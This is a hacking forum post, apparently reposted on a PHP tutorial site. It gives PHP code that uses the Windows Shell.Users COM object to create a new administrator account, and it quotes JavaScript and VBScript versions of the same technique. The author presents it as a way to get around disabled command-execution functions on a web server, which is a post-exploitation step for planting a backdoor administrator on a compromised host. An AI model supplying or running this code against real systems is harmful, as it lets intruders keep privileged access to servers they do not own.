Home > php教程 > php手册 > php版shell.users加管理员帐号方法

php版shell.users加管理员帐号方法

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Release: 2016-06-13 10:42:02
Original
1197 people have browsed it

议题作者:CyberH4ck[南拳Daddy]
Author: 南拳Daddy 转载请注明出处 hi.baidu.com/南拳daddy

09年的时候 LCX 写出了 js版 和vbs 版的shell.users 加管理员帐号的方法,后来我就想把它改成PHP 版,

由于对代码分析得不够准确,所以到最近才写出来,当 php执行命令的函数如exec,system,shell_exec,proc_open,passthru,popen

以及wscript.shell 组建被禁用的情况下,这也许是一个机会。

代码如下:

echo "

PHP 版Shell.Users加管理员帐号
";
$username="IceSkin";
$password="skin.com";
$su = new COM("Shell.Users");
$h=$su->create($username);
$h->changePassword($password,"");
$h->setting["AccountType"] = 3;//这句很重要可以把用户加入administrators 组,
?>

效果图如下:
 

对apache 搭建的Web 服务器可以执行成功,IIS 好像权限不够,nginx 和lighttpd 搭建的web 服务器还没有测试。

下面是 LCX 的代码

js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;


vbs:
Set  o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3

[ 本帖最后由 CyberH4ck 于 2011-5-29 14:33 编辑 ]

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Issues
php data acquisition?
From 1970-01-01 08:00:00
0
0
0
PHP extension intl
From 1970-01-01 08:00:00
0
0
0
How to learn php well
From 1970-01-01 08:00:00
0
0
0
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template